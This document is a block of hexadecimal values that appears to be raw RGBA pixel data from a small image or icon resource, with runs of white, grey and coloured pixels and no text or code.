FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF72543FFFDBD1C9FFF5F3ECFFC4BB
DFFF5440C7FF5845D3FF74502DFF592F0BFF5B300FFF5A2F0DFF542603FF5225
02FF522501FF562A08FF572C09FF786455FFBEC1C3FFFFFFFFFFFFFFFFFFFFFF
FFFF873D02FF934E17FF8B4106FFEDE3DBFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A2A4FF885559FFB46469FFB16366FFB064
69FFAD5C60FFE0C7C7FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB5C0F5FF0531
EAFF143CECFF123DECFF103EF6FF4B599CFFC6C6B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFAFFFFFF9DD5FFFFB0D9FFFFF5FFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA5A59EFF5E3D28FFE7E0D9FFFFFFFFFFC8C2
F5FF2E19D5FF3623E7FF855E37FF693E13FF693E16FF673C15FF663C15FF663B
15FF673C14FF673C12FF673C0FFF796654FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF894001FF935117FF8B4406FFE7DBD0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF895659FFB6676BFFB1656AFFB366
6BFFAE5C62FFE1C6C8FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB6C2F5FF0836
EAFF1642EBFF1341EBFF0F40F6FF4A599CFF3434B9FF2929FFFF2C2CFFFF2C2C
FFFF2D2DFFFF2F2FFFFF322FFFFF3934FFFF3833FFFF322FFFFF2F2FFFFF2D2D
FFFF2C2CFFFF2A2AFFFF2828FFFF51519EFF613F28FFE6DED8FFFFFFFFFFC7C0
F3FF351DD4FF3C27E5FF865F36FF6B3F13FF6D4218FF6D4217FF6D4217FF6C42
17FF6C4115FF6B4013FF6A3D0FFF796654FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFF8A3F00FF965011FF8D4400FFE9DBCEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF875658FFB7676DFFB4666AFFB467
6BFFAF5D62FFE2C8C8FFFBFBFBFFF9F9F9FFF9F9F9FFFBFBF9FFB6C3F5FF0235
ECFF1041EDFF0E3FEDFF0C41F8FF49569CFF2020B9FF0707FFFF0909FFFF0C0C
FFFF0D0DFFFF0C0CFFFF0C0CFFFF0C0CFFFF0C0CFFFF0C0CFFFF0C0CFFFF0D0D
FFFF0C0CFFFF0A0AFFFF0606FFFF46469DFF603F27FFE7DFD7FFFFFFFFFFC8C0
F3FF341BD4FF3B23E5FF865F31FF6B3E0DFF6C4112FF6B4112FF6B4112FF6B41
11FF6B4010FF6A3F0EFF6B3E0BFF796452FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFF98561FFFA26533FF9A5A24FFEEE2D9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFACACACFF8F5D60FFC37C80FFC0777BFFC078
7CFFBC7075FFEBD3D4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC5CFFDFF244B
F5FF3157F5FF3056F5FF3058F9FF5562A7FF3030C0FF3333FFFF3131FFFF3333
FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333FFFF3333
FFFF3333FFFF3131FFFF3232FFFF5555ACFF65442DFFF6EFEAFFFFFFFFFFD6CF
FFFF4E39E1FF5441F2FF9A7650FF815831FF835A34FF835A34FF835A34FF835A
34FF815A33FF825932FF825A32FF7D695AFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFC0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0BFC0FFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFF6F84C1FF8BACFFFF89A8FFFF89A9
FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9FFFF89A9
FFFF89A9FFFF8AA8FFFF8DACFFFF7581A3FF60282AFF731010FF701011FF7110
12FF711112FF711112FF711112FF711112FF711112FF711112FF711112FF7111
12FF711011FF700F10FF730F10FF6A4E4EFFB6B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFE39B2CFF242EFFFF845472FFFFF1CDFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFFB2AB8EFFF6EDBAFFF1E8B8FFF2E8
B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8B7FFF2E8
B7FFF2E8B7FFF1E8B8FFF8EFBBFF9B9785FF5F71B8FF6581F3FF6681F0FF6582
F0FF6781F0FF6783F0FF6783F0FF6682F0FF6683F0FF6783F0FF6783F0FF6781
F0FF6682F0FF6481F0FF6582F6FF6B75A0FF602828FF6D0F10FF6D1110FF6E12
11FF6E1213FF6E1213FF6E1213FF6E1213FF6E1213FF6B0908FF6B0708FF6B06
05FF6D0806FF6D0906FF6E090AFF6D4D4DFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF
FFFFDC9428FF232CFFFF80516DFFFBE8C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FFA69D7BFFD6C694FFD3C594FFD4C5
95FFD4C595FFD4C595FFD4C595FFD4C595FFD4C595FFD4C595FFD4C595FFD4C5
95FFD4C593FFD3C494FFD8C896FF96907BFF4D5BB1FF4C63EDFF4D63E9FF4E64
EBFF4E64EAFF4D64EBFF445EF8FF4560F5FF455EF7FF445EF7FF4D64EBFF4E64
EAFF4E64EBFF4D63E9FF4D63F0FF616A9BFF5F2525FF6C0D0EFF6D1010FF6E0F
11FF6E1110FF6E1110FF6E1110FF6E1112FF6B0808FF866F83FF8C7985FF9493
A5FF70718FFF5C597DFF804853FF6A4848FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFDC9427FF222BFFFF80506CFFFAE7C4FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF998D6AFFC6B37BFFC4B17BFFC5B1
7CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B27CFFC5B2
7BFFC3AD73FFC9B672FFC8B275FF8D8572FF3F49ABFF3848E7FF3A49E4FF3A4A
E4FF3A4BE5FF324EF0FFB6934FFFEAB811FFF0B50BFFAE8F58FF2F4CF2FF3A4B
E5FF3A4AE4FF3949E4FF3749EAFF595F96FF5F2525FF6B0B0AFF6C0E0EFF6D0F
0EFF6C1010FF6C0F0FFF6C0F0FFF6C0F0FFF670302FFB2A7B3FF8D90A3FFBBC0
D6FFBFAFB1FF99AECAFF66435FFF6A4747FFBBBEC2FFFFFFFFFFFFFFFFFFFFFF
FFFFDB9529FF2128FFFF7C4D6AFFFCEDCEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA1A2FF8F805DFFBBA268FFB7A268FFB9A1
68FFB8A269FFB8A269FFB8A269FFB8A269FFB8A269FFB8A269FFB8A268FFBAA0
67FFE1DACEFF5032E2FFC7C7A8FF867B64FF2FAEB8FF1BF0FFFF1EECFAFF1FEC
FAFF14EFFFFFAAC34DFFC2B430FFA9B84FFFADB749FFC9B325FF9EC85EFF15EF
FFFF1FECFAFF1DECFAFF1BF1FFFF4F979CFF5F2424FF6C0909FF6B0D0DFF6D0D
0DFF6C0D0DFF6D0F0FFF6E1010FF6E1010FF6B0B0BFF7A2629FFC4B7A1FF9095
A7FF8B9ABAFFA7A6ABFF690000FF6A4949FFAD8D56FFEEB85FFFEAB65EFFECBA
66FFE28C00FF212AFFFF87566AFFEEAE42FFEAB862FFEAB760FFEAB760FFEAB6
60FFEAB65FFFEAB65EFFF2BB5EFF968466FF8C7B58FFB69C60FFB29B5FFFB49C
61FFB49C62FFB59C63FFB59B62FFB59B62FFB59B62FFB59B62FFB4975DFFC3DE
9DFFFFFFFDFF572CD8FF5FFFFFFF8B8F87FF31A5B6FF22E2FDFF21DEF9FF20DF
F9FF15E1FFFFECA400FFC5B02FFF8DC073FF83C281FFCAAE27FFE7A604FF11E2
FFFF22DFF9FF20DFF9FF1DE4FFFF50929BFF5F2120FF6F0C0BFF6A0B0BFF6401
01FF6B0701FF711009FF6D0F0FFF6E1010FF69080AFFA15B4EFFC1A670FF5D9A
B9FF72A5AEFFEDAE55FF812B2FFF694747FF453F9CFF4638D2FF4236CEFF4235
CEFF483DD3FF3333F6FF3E3AE4FF4638CFFF4437CEFF4437CEFF4437CEFF4437
CEFF4336CEFF4135CFFF4133D3FF5B588DFF8D7C55FFBDA661FFB69F63FFB6A2
67FFB49C60FFB19455FFBAA15DFFB79E62FFB69D63FFB69D64FFBFA657FF3E16
E7FF3F1AD8FF3613D3FF4D19DFFF5B4E8FFF32A6B6FF25E4FDFF28E0F9FF28E0
F9FF14E2FFFFECA400FF8EBF72FF95BE6AFF95BE69FF8EBF72FFE8A502FF12E3
FFFF22DFF9FF20DFF9FF1DE4FFFF50939BFF867896FF660000FF7B1710FFD2AF
A4FFAFC2FFFF7564C0FF6C0802FF6E1010FF68070AFFAD654BFFB1B392FF5F7B
64FF4C6E4CFFC5C79EFF8B322BFF694747FF524389FF5C44B4FF5C44B2FF5943
B1FF5C45B5FF3031F9FF493DD5FF5941B0FF563EB0FF563EB0FF563EB1FF563F
AFFF553DAFFF543BB0FF553BB4FF625A82FF8372A5FF4B2EFAFFAD6639FF7715
00FFAB6847FFD9CBE4FF9D91FFFFA48674FFB79E61FFB69D64FFB5975AFFB8E2
B5FFBDE0ABFF5830E4FFC2F5A4FF989E8DFF31ABBFFF26ECFFFF28E8FFFF2AE8
FFFF1FEBFFFF9FC671FFE0AE15FFB2B647FFACB64CFFE4AA0EFF8DC580FF13E8
FFFF1EE5FFFF1BE5FFFF1AEBFFFF4F96A2FF8C7B91FFD5A795FFB3BEFFFF7262
C2FF8D3738FF740500FF6F1111FF6C0E0EFF68080CFF9D4E26FFCA9240FFD7CC
C5FFD2C2B3FFCE8F33FF872E25FF694748FFB1986BFFF5CC84FFF1C982FFF3CE
8CFFE5970CFF2B34FFFF8A586BFFF1B95BFFF0C684FFF0C481FFF0C481FFF0C4
81FFF0C580FFEFC57DFFF6C982FF998A70FF8A7BA3FF5637E9FFDBB381FFE2D5
E0FFAA9FFDFF8C577CFF913500FFA97B42FFB69E64FFB59C62FFBA9B58FF6D94
CDFF6891CCFF3E34DDFF576DA3FF647483FF4E5F20FF587300FF587200FF5A74
00FF5A7301FF4F770EFFAE9E14FFE4B61BFFE6B315FFA79B13FF4A720BFF5670
00FF567000FF587000FF5A7500FF5F6947FF4E50A8FF696EF0FF6A6AE5FF7073
E7FF7078F5FF736CD7FF7B0F07FF7A1717FF740F12FFA95933FFDFDACBFFE9EA
E5FFE9E6DEFFD8A645FF93352EFF6A4848FFBBBEBFFFFFFFFFFFFFFFFFFFFFFF
FFFFE09E2FFF3239FFFF8A5C70FFFDEECFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA1A2FF5E4CA8FF4B24DBFF927DF0FF8C74
EAFF9178E8FF937CF1FF907CFFFFB19E98FFBDA66DFFBBA46EFFC3AA62FF4848
EFFF1382F0FF275FEBFF1C77FBFF555093FF4C6625FF578310FF588113FF5982
15FF598216FF588117FF517D17FF4D7B16FF4C7B17FF517D17FF598217FF5982
16FF598215FF578113FF59840FFF5F6D49FF4C4EA8FF6D72F0FF696AE5FF6667
E7FF6A73F6FF706AD6FF800F07FF7D1717FF7A1114FFA15138FFCFA070FFC277
26FFC17827FFC88632FF902F2CFF6A4748FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFE09E2DFF323BFFFF8C5F70FFFBE9C6FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF604DA7FF4F27DDFF9583F2FF937D
EBFF9178E7FF9078EFFF9280FFFFB39F98FFBFA96FFFBEA873FFBEA873FFC5AC
69FFC9A967FFC9AA67FFCEAD68FF887D64FF4C6623FF59840BFF57820EFF5882
10FF588211FF588311FF588311FF588311FF588311FF588311FF588311FF5882
11FF588210FF57820EFF5A860AFF5D6D47FF908190FF7A4685FF949EFFFFE0CF
D5FFAA4F3BFF770000FF7B1010FF7B1111FF7B1111FF780B0EFF750509FF7507
0EFF75060DFF74040BFF7C0707FF6A4747FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFE29F29FF333AFFFF8C5F6CFFFCEAC7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9D9D9DFF8C7BA3FF5D3AECFFC89B76FF9978
CBFFC7BEFFFFDCB890FF963A00FFB2884DFFC0AC75FFBFA973FFBFA973FFBFA9
73FFBFA971FFBEA970FFC4AE74FF837B66FF546C30FF709433FF6D9031FF6C92
33FF6C9233FF6E9233FF6D9233FF6D9233FF6D9233FF6D9233FF6E9233FF6C92
33FF6C9233FF6B9131FF6E9432FF6A7A55FF8E8098FF8B1F16FF9B4337FF7755
9EFFACB9FFFFCBB4C5FF892826FF8E3333FF8E3333FF8E3333FF8E3333FF8E33
33FF8E3333FF8D3131FF8F3232FF765555FFC0C0C0FFFFFFFFFFFFFFFFFFFFFF
FFFFE5AC47FF4B51FFFF9A7183FFFEEED0FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFAEAEAEFF9184A9FF7359F4FFBE8656FF9C4D
18FFAB7267FFA589D3FFC9C4FFFFD0BC94FFC6B383FFC7B385FFC7B385FFC7B3
85FFC7B484FFC6B285FFCAB686FF928974FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFBFC0C0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0
C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0
C0FFC0C0C0FFBFBFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFBFBFBFFFBFBF
C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0
C0FFBFBFBFFFBFBFBFFFBFBFBFFFFFFFFFFF813A2AFFAF2F10FFAC3010FFAC31
11FFAB3111FFAB3111FFAB3111FFAB3111FFAB3111FFAB3111FFAB3111FFAB31
11FFAC3111FFAD2F10FFB13010FF7D574EFF785855FF182AFFFF2731F0FF2832
EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832EEFF2832
EEFF2832EEFF2730EFFF2831F7FF555793FFA888AEFFF0BED9FFF9CCB4FFFFDE
92FFFFE585FFFFE38AFFFFE18DFFFFDF90FFFFDE91FFFFDE91FFFFDE91FFFFDE
91FFFFDE90FFFFDF91FFFFE594FFA39375FFB6B7B7FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9A9B9BFF843A28FFA72D10FFA52E11FFA62F
12FFA62E11FFA63013FFA63013FFA63013FFA63013FFA63013FFA63013FFA62E
11FFA62F12FFA52E11FFA82D10FF7E564DFFA56C20FFAA6846FF1327FBFF272F
E6FF292FE5FF2931E5FF2931E5FF2931E5FF2931E5FF2931E5FF2931E5FF292F
E5FF2830E5FF272FE5FF252EECFF545696FF8663B7FF9E68F7FF9C67F6FF9A66
FAFFA470E7FFBB84C2FFD2A09EFFEFBA75FFF9C366FFF6C06BFFF3BD6EFFF0BB
72FFEFBA74FFEFBA73FFF5BD73FFA08C6FFFBCBCBCFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A0FF823726FFA62A0CFFA32A0EFFA42C
0FFFA42C0FFFA42D10FFA42D10FFA42D10FFA42D10FFA42D10FFA42D10FFA42C
0FFFA42C0FFFA32A0EFFA72A0BFF7D544AFF9D6626FFDF8000FFA66746FF1325
FCFF252DE5FF262FE5FF262FE5FF262FE5FF262FE5FF262FE5FF262FE5FF262E
E5FF262EE5FF242CE3FF222BEAFF515496FF6546B1FF7140F0FF7040ECFF7339
EBFF723EEEFF6A87FAFF6F31F4FF6B32F8FF7A48E4FF9C65BAFFBF8590FFE5A5
62FFF5B150FFEFAC56FFF2AC59FF9B8367FFBBBBBBFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF7D3120FFA12001FF9F2103FF9F22
06FFA02307FFA02307FFA32507FFA7290DFFA8290DFFA12407FFA02307FFA023
05FF9F2206FF9F2003FFA31F00FF7B5147FF9C6625FFD3780AFFDB7D00FFA565
44FF1123F5FF151FDEFF151FDDFF151FDDFF1822E0FF1923E1FF1620DEFF151F
DDFF141EDDFF131BDDFF101AE6FF4C5093FF4C2FAFFF4B1AEEFF4D18EAFF477A
F4FF477DF6FF467CF6FF477CF5FF4588F6FF4D15ECFF4B1CEFFF481AF3FF4314
F8FF5725E2FF8447B2FFB46D85FF927864FFBEBEBEFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A1A1FFBEC6C8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFF0FFFFFFB6CDC1FFB0D4C8FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A5A5FF9C6625FFD37809FFD1770DFFD477
00FFECAB4DFFFBFBFBFFFBFBFBFFFBFBF7FFE3E2D1FFE2E0CEFFFBFBEAFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA5A59EFF4325ADFF3D05EEFF3758F2FF339F
F8FF3D30EDFF32A9FAFF3C3CEFFF33A0FAFF3867F3FF4009E9FF4011EBFF3F10
EBFF3D0DECFF370AF0FF3404FBFF56479BFF202020FF000000FF000000FF0000
00FF000000FF000000FF000000FF000000FF000000FF000000FF000000FF0000
00FF000000FF000000FF000000FF474747FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFF96ACA1FF6EA38DFF758B6BFFBAD5D0FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF9C6624FFD47C0CFFD0780DFFD078
0EFFCE7101FFD99642FFFFFFFFFFF5F5F6FFDCDADBFF9B9CAFFFEEEEECFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4528ADFF4404EDFF34A5FAFF3D30
EDFF3C54F2FF3687F6FF3F27ECFF3F30EDFF33B4FCFF4105E9FF4213EBFF4012
EBFF4111EBFF3F10EBFF3E0DF1FF5B4A96FF242424FF0C0C0CFF0D0D0DFF0E0E
0EFF101010FF101010FF101010FF101010FF101010FF101010FF101010FF0F0F
0FFF0E0E0EFF0C0C0CFF090909FF494949FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFAEC4BEFFAEB3C2FFB9A9A8FFBCDFE0FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF9D6725FFD5810EFFD38111FFD17D
11FFCE6F00FFDFA459FFFFFFFFFFFFFFFFFFB6C4B1FF469047FFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF4526AEFF4607EFFF3C9AF9FF4610
EAFF3C4BF0FF349CF9FF3F2AECFF4113EAFF33ACFAFF4306E9FF4213EBFF4012
EBFF4111EBFF3F10EBFF3E0DF1FF5B4A96FF252525FF0E0E0EFF111111FF1010
10FF0E0E0EFF0F0F0FFF0F0F0FFF0F0F0FFF0F1010FF0F1010FF101010FF0E0E
0FFF0E0E0EFF0B0C0CFF080809FF494949FFBEC3C5FFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFF9FFFFFFDAFDFFFFF4FFFFFFFFFFFFFFFFFFFFFFFFFF
FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A3A4FF9D6925FFD7840FFFD58412FFDB7C
09FFEAAD6AFFFBFBFBFFFBFBFBFFFBFBFBFFC3E2F0FFD3E5F6FFECF3FAFFFBFB
FBFFFBFBFBFFFBFBFBFFFFFFFFFFA29FA0FF4528AEFF4B0DF0FF4467F3FF437D
F6FF4D24EDFF3E90F8FF422EEEFF386CF4FF3683F6FF4108E9FF4012EAFF3F10
EBFF3F0CEEFF3D07F3FF3F02FFFF5B479EFF202021FF00050AFF02070DFF040A
0FFF060B10FF030A0EFF01070BFF00050AFF000409FF000409FF000409FF0005
08FF000307FF000106FF000003FF474748FF7D2C20FFA52200FFA32400FFA425
00FFA42600FFA42600FFA62600FFA82802FFA52500FFA32300FFA12100FFA121
00FFA22100FFA22200FFA82200FF7A4D47FF9E6A26FFD88810FFE4830DFF9792
2CFF00AA56FF01A045FF01A045FF02A045FF05A245FF04A044FF019D41FF009D
41FF009D41FF009E41FF00A244FF477858FF4728AEFF4D15F1FF4F14EBFF4873
F4FF42A9FAFF4870F4FF44A3F8FF4978F6FF4E17F0FF4E11F4FF4C0FF9FF4D09
FFFF4B2ED1FF475E96FF469459FF58854DFFA3724CFFE09355FFDE9357FFDF92
57FFDE9257FFDF9359FFDF9459FFDF9459FFDE9157FFDD9055FFDD8F54FFDD8F
